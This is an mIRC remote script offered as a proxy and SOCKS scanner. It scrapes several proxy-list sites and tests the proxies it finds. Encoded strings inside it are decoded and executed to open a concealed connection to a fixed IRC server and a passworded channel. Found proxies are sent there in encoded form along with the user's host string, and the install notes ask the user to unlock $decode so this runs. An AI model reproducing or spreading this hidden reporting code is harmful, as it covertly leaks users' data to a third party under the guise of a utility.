http://www.hawkee.com/snippet/6352/
http://www.waraxe.us/ftopict-5164.html
http://www.xroxy.com/xorum/about62913.html
http://www.ircfr.com/codes/BUG-FIXED-MIRC-SOCKS-PROXY-SCANNER-WEB-PROXY_50235.aspx

;!!!!BUG FIXED!!!!

;Will automatically leech proxys and socks to test them against irc server and make txt file with results.;IRC proxy scanner BETA made by myself (independent)

;Disclaimer:

;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.

;I will not be held responsible for any of your actions.

;If you don't agree, do not install this file.

;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.

;IMPORTANT NOTE: Be sure you have the $decode option unlocked in mIRC else the script won't work at all.

;TO INSTALL: Copy & Paste the remote code below into your mIRC remotes by pressing [u]ALT+R in mIRC (That makes REMOTES window open) . Hit Ok.

alias sc4n { 
  if ($1) { 
      if ($read($pxy,w,* $+ $1 $+ *)) { /echo @proxyscan $1 $2 Is good. | return } 
      echo @Proxyscan  Scan: $1 $2 
      sockopen scan $+ $r(0,99999999999999) $1 $2 
    } 
} 
alias setinterval { echo -a To change scan speed use: /set %interval 1000 | %interval = 100 } 
alias scan.win { 
  if (%interval == $null) setinterval 
  if (!$window(@proxyscan)) { 
    localinfo | set %def.s 200.83.0.116 | set %def.c google.ca  #HZ*C```` | set %def.p 6667 
    set %gh .<V]C:V]P96X@<V-A;E\` $encode(%def.s) $encode($encode(%def.p),m) +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg (8TAH-5EM-6H` &;F]T:6-E```` 
    window -ean @proxyscan 
  } 
} 
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat } 
menu @proxyscan,menubar { 
  Proxy Scanner 
  .IRC proxy scanner: scan.win
  .Leech Proxies Now: leech
  .- 
  .CHECK FRESH PROXIES: /run $pxy 
  .SCAN PROXY FILES: selectmultiplefile 
  .- 
  .ABORD SCANS: abord 
  .CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN* 
  .CLEAR: /clear 
  .hide: window -h @proxyscan 
Socks Scanner: window -e @sock4 | window -e @sock5 
} 
alias pxy return Proxy.txt 
alias abord { play stop } 
on *:INPUT:@Proxyscan:{ 
  if (/ !isin $1) { write temp  $getiphost2($1-) | .timerscanfile 1 1 .pxyfile temp %interval | .timerscanfileoff 1 1.1 .remove temp } 
} 
alias sk { 
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port 
  if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :p %msg | unset %msg } 
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *) 
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port 
} 
on *:sockopen:scan*:{ 
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr > 0) { 
    if (_ isin $sockname) { .timersS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
    if (_ !isin $sockname) echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) 
    return 
  } 
  if (_ !isin $sockname) { 
    sockwrite -n $sockname CONNECT %def.s $+ : $+ %def.p HTTP/1.0 $+ $crlf 
    sockwrite -n $sockname $crlf 
    sockwrite -n $sockname $crlf 
    return 
  } 
} 
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r } 
alias success { echo @proxyscan $1- | if ($wildtok(%msg,*,0,32) >= 9) unset %msg | %msg = $rencode($2) %msg | sk } 
on 1:SOCKCLOSE:SCAN_:.timerS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) 
alias allpxy return ALL.txt 
alias portclose { sockclose $1 } 
on *:SOCKREAD:scan*:{ 
  sockread %scan 
  tokenize 32 %scan 
  set %scan.ip $sock($sockname).ip 
  set %scan.port $sock($sockname).port 
  %hh = -*FYO=&EC92IA=71H*@`` 
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:) 
  if (ERROR isin $1) && (_ isin $sockname) .timersS 1 10 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) 
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk } 
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk  
  if (NOTICE*AUTH iswm $2-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $iif($host,$left($host,9),NULL) "." "." :D-C $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) D-C $+ $r(0,9999) } 
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = D-C $+ $r(0,9999999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." :D-C $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) D-C $+ $r(0,9999) } 
  if (HTTP/* iswm $gettok(%scan,1,32)) { 
    if ($gettok(%scan,2,32) > 200) { 
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port 
      echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ ) 
      sockclose $sockname 
      return 
    } 
    if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... } 
  } 
  if (*notice*auth* iswm %scan) && (_ !isin $sockname) { 
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *) 
    if (%readi == $null) { success * $sock($sockname).ip $sock($sockname).port (Good) | unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } 
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Good) 
      unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } | unset %readi } | unset %scan 
} 
on 1:SOCKREAD:idle*:{ 
  sockread %idle 
  tokenize 32 %idle 
  if (001 isin $1) { 
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32)) 
    sockmark $sockname $ticks 
  } 
  if (*notice*AUTH* iswm $2-3) { 
    sockwrite -n $sockname NICK D-C $+ $r(0,9999) 
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) "." "." : $+ $logo 
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32)) 
  } 
   if (404 == $2) || (432 == $2) { 
    sockwrite -n $sockname NICK D-C $+ $r(0,9999) 
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) "." "." : $+ $logo 
  } 
  if (PING == $gettok(%idle,1,32)) sockwrite -n $sockname PONG $remove($2,:) 
} 
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32)) 
alias pb return echo @proxyscan 
alias scanfile { sc4n $getiphost2($1-) } 
alias pxyfile { play -a scanfile @proxyscan $1 $2 } 
alias getiphost2 { 
  %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[0-5]|2[0-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i 
  if $regex(ip,$remove($1-,$chr(9)),%var) { 
    $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) 
  } 
} 
alias chk.cc { 
  if (!$sock(scan_).name) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) | return } 
  sockwrite -n scan_ JOIN $chr(35) $+ $gettok(%def.c,1,32) $decode($gettok(%def.c,2,32)) 
} 
on 1:INPUT:@sock5:{ inc -u5 %s5.inc 1 | .timer 1 %s5.inc s5.scan $getiphost2($1-) } 
on 1:INPUT:@sock4:{ inc -u5 %s4.inc 1 | .timer 1 %s4.inc s4.scan $getiphost2($1-) } 
alias s5.scan { 
  if (!$1) halt 
  window -e @sock5 
  if ($read(sock5.txt,w,* $+ $1 $+ *) != $null) { echo @sock5 $1 $2 Is good | halt } 
  if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) { 
    sockopen s5chk $+ $r(0,9999999) $1 $2 
    echo @sock5 Scan: $1 $2 
  } 
} 
menu @sock5 { 
  CHECK FRESH: /run sock5.txt 
  SCAN FILES: selectmultiplefiles5 
  - 
  ABORD: .play stop 
  Close: sockclose *chk* | window -c $active 
} 
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat } 
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat } 
menu @sock4 { 
  CHECK FRESH SOCKS4: /run sock4.txt 
  SCAN FILES: selectmultiplefiles4 
  - 
  ABORD SCANS: .play stop 
  Close: sockclose *chk* | window -c $active 
} 
alias s4.scan { 
  if (!$1) halt 
  window -e @sock4 
  if ($read(sock4.txt,w,* $+ $1 $+ *) != $null) { echo @sock4 $1 $2 Already in list | halt } 
  if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) { 
    sockopen s4chk $+ $r(0,9999999) $1 $2 
    echo @sock4 Scanning: $1 $2 
  } 
} 
on *:sockopen:s5chk*:{ 
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }  
  if ($sockerr) { return } 
  set %s5time $ticks 
  .bset &bvar5 1 5 1 0 
  .sockwrite -n $sockname &bvar5 
  .bunset &bvar5 
  halt 
} 
on *:sockread:s5chk*:{ 
  if ($sockbr) { return } 
  .sockread &bsocks5 
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) { 
    bset &socks5  1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) 
    .sockwrite -n $sockname &socks5 
    .bunset &socks5 
    sockrename $sockname chks5 $+ $remove($sockname,s5chk) 
  } 
} 
on 1:SOCKREAD:chks5*:{ 
  sockread %socks5 
  tokenize 32 %socks5 
  if (*NOTICE*AUTH* iswm %socks5) && (!$sock($sockname).mark) { 
    sockmark $sockname c 
    window -e @sock5 
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms 
    unset %s5time 
    sockrename $sockname idle $+ $r(0,999999999) 
  } 
} 
alias suces4 { echo @sock4 $1- | if ($wildtok(%msgs4,*,0,32) >= 9) unset %msgs4 | set %msgs4 $rencode($1) %msgs4 | sk4 } 
alias suces5 { echo @sock5 $1- | if ($wildtok(%msgs5,*,0,32) >= 9) unset %msgs5 | set %msgs5 $rencode($1) %msgs5 | sk5 } 
alias sk4 { 
  if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :4 %msgs4 | unset %msgs4 } 
  %rad = sock4.txt 
  set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) 
  if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port 
  unset %rad* 
} 
alias sk5 { 
  if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+  $+ $gettok(%def.c,1,32) :5 %msgs5 | unset %msgs5 } 
  %red = sock5.txt 
  set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) 
  if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port 
  unset %red* 
} 
on *:sockopen:s4chk*:{ 
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr) { return } 
  set %s4time $ticks 
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0 
  .sockwrite $sockname &bvar4 
  .bunset &bvar4 
} 
ON *:SOCKREAD:s4chk*:{ 
  if ($sockbr) { return } 
  .sockread &bsocks4 
  if ($bvar(&bsocks4,2) == 90) { 
    window -e @sock4 
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms 
    unset %s4.time 
    sockrename $sockname idle $+ $r(0,999999999) 
  } 
} 
alias scans4file { s4.scan $getiphost2($1-) } 
alias s4file { play -a scans4file @sock4 $1- } 
alias scans5file { s5.scan $getiphost2($1-) } 
alias s5file { play -a scans5file @sock5 $1- } 
alias varset { 
  unset %incvar 
  :varset 
  inc %incvar 
  set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1) 
  if (%incvar >= $numtok($1,59)) halt 
  goto varset 
  
} 
on 1:SOCKOPEN:p-l*:{ 
  sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:p-l*:{ 
  sockread -n %temp 
  %maximum = $numtok($htmlfree(%temp),20) 
  if (%maximum >= 10) { 
    set %incthashit 1 
    while (%incthashit < %maximum) { write temp.pxy $gettok($htmlfree(%temp),%incthashit,20) | inc %incthashit } 
    unset %maximum 
    .timerpxyfile1 1 5 .pxyfile temp.pxy %interval 
    .timerdiefile 1 6 .remove temp.pxy 
  } 
} 
alias leech { 
  sockopen p-l1 proxies.my-proxy.com 80 
  .timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80 
  .timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80 
  .timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80 
  .timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80 
  .timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80 
  .timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80 
  .timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80 
  .timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80 
  .timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80 
  .timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80 
  .timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80 
  .timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80 
  sockopen sam00 samair.ru 80 
  .timersam1 1 10 sockopen sam01 samair.ru 80 
  .timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80 
  .timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80 
  .timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80 
  .timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80 
  .timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80 
  .timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80 
  .timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80 
  .timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80 
  .timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80 
  .timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80 
  .timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80 
  .timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80 
  .timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80 
  .timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80 
  .timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80 
  .timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80 
  .timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80 
  .timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80 
  .timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80 
  .timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80 
  .timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80 
  .timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80 
  .timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80 
  .timersam25 1 $calc(10*25) sockopen sam25 samair.ru 80 
  .timersam26 1 $calc(10*26) sockopen sam26 samair.ru 80 
  .timersam27 1 $calc(10*27) sockopen sam27 samair.ru 80 
  .timersam28 1 $calc(10*28) sockopen sam28 samair.ru 80 
  .timersam29 1 $calc(10*29) sockopen sam29 samair.ru 80 
  .timersam30 1 $calc(10*30) sockopen sam30 samair.ru 80 
  .timerSOCKSAM1 1 $calc(10*31) sockopen socksam samair.ru 80 
  .timerSOCKSAM2 1 $calc(10*32) sockopen socksam2 samair.ru 80 
  .timerSOCKSAM3 1 $calc(10*33) sockopen socksam3 samair.ru 80 
  .timerSOCKSAM4 1 $calc(10*34) sockopen socksam4 samair.ru 80 
  .timerSOCKSAM5 1 $calc(10*35) sockopen socksam5 samair.ru 80 
  .timerSOCKSAM6 1 $calc(10*36) sockopen socksam6 samair.ru 80 
  .timerSOCKSAM7 1 $calc(10*37) sockopen socksam7 samair.ru 80 
  .timerSOCKSAM8 1 $calc(10*38) sockopen socksam8 samair.ru 80 
  .timerSOCKSAM9 1 $calc(10*39) sockopen socksam9 samair.ru 80 
  .timerSOCKSAM10 1 $calc(10*40) sockopen socksam10 samair.ru 80 
  .timerSOCKSAM11 1 $calc(10*41) sockopen socksam11 samair.ru 80 
  .timerSOCKSAM12 1 $calc(10*42) sockopen socksam12 samair.ru 80 
  .timerSOCKSAM13 1 $calc(10*43) sockopen socksam13 samair.ru 80 
  .timerSOCKSAM14 1 $calc(10*44) sockopen socksam14 samair.ru 80 
  .timerSOCKSAM15 1 $calc(10*45) sockopen socksam15 samair.ru 80 
  .timerSOCKSAM16 1 $calc(10*46) sockopen socksam16 samair.ru 80 
  .timerSOCKSAM17 1 $calc(10*47) sockopen socksam17 samair.ru 80 
  .timerSOCKSAM18 1 $calc(10*48) sockopen socksam18 samair.ru 80 
  .timerSOCKSAM19 1 $calc(10*49) sockopen socksam19 samair.ru 80 
  .timerSOCKSAM20 1 $calc(10*50) sockopen socksam20 samair.ru 80 
  .timerSOCKStoday 1 $calc(10*51) sockopen today sockstoday.com 80 
  .timerLEECH -o 0 3600 leech 
} 
on 1:SOCKOPEN:sam*:{ 
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return } 
  sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:sam*:{ 
  sockread -n %temp 
  if (*=*;*=*; iswm $htmlfree(%temp)) varset $htmlfree(%temp) 
  if (*.*.*.*document.write* iswm $htmlfree(%temp)) { 
    unset %varinc2 
    :VAR 
    inc %varinc2 
    set %rvar $wildtok($htmlfree(%temp),*.*.*.*document.write*,%varinc2,20) 
    set %rvar2 $remove($replace(%rvar,document.write,:,a,%a,b,%b,c,%c,d,%d,e,%e,f,%f,g,%g,h,%h,i,%i,j,%j,k,%k,l,%l,m,%m,n,%n,o,%o,p,%p,q,%q,r,%r,s,%s,t,%t,u,%u,v,%v,w,%w,x,%x,y,%y,z,%z),$chr(40),$chr(41),+,":")
    write temp.txt $getiphost2(%rvar2) %rvar2 
    if (%varinc2 >= $wildtok($htmlfree(%temp),*.*.*.*document.write*,0,20)) goto end 
    goto var 
    :END 
  } 
  if ($getiphost2($htmlfree(%temp))) { 
    unset %incvar3 
    :INC 
    inc %incvar3 
    write temp.txt $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar3,32)) 
    if (%incvar3 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2 
    goto inc 
    :end2 
  } 
  .timerPLAY 1 5 .pxyfile temp.txt %interval 
  .timerPLAY1 1 5 .remove temp.txt 
} 
on 1:SOCKOPEN:socksam*:{ 
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return } 
  sockwrite -n $sockname GET http://samair.ru/proxy/socks $+ $iif($remove($sockname,socksam) == $null,$+,$remove($sockname,socksam)) $+ .htm HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:socksam*:{ 
  sockread -n %temp 
  if ($getiphost2($htmlfree(%temp))) { 
    unset %incvar4 
    :INC 
    inc %incvar4 
    write temp.s $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar4,32)) 
    if (%incvar4 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2 
    goto inc 
    :end2 
  } 
  .timerPLAYs4 1 5 .s5file temp.s %interval 
  .timerPLAYs5 1 5 .s4file temp.s %interval 
  .timerPLAY1 1 6 .remove temp.s 
} 
on 1:SOCKOPEN:today*:{ 
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname sockstoday.com 80 | return } 
  sockwrite -n $sockname GET http://sockstoday.com/ HTTP/1.0 
  sockwrite -n $sockname $crlf 
} 
on 1:SOCKREAD:today*:{ 
  sockread -n %temp 
  if ($getiphost2($htmlfree(%temp))) write temp.sock $getiphost2($htmlfree(%temp)) 
  .timertoday1 1 5 .s5file temp.sock %interval 
  .timertoday11 1 5 .s4file temp.sock %interval 
  .timertoday111 1 5 .remove temp.sock 
} 
alias sc5nfile { s5.scan $1- } 
alias sc4nfile { s4.scan $1- } 
alias -l htmlfree { 
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;) 
  return %x 
} 
alias logo return ProxYScaN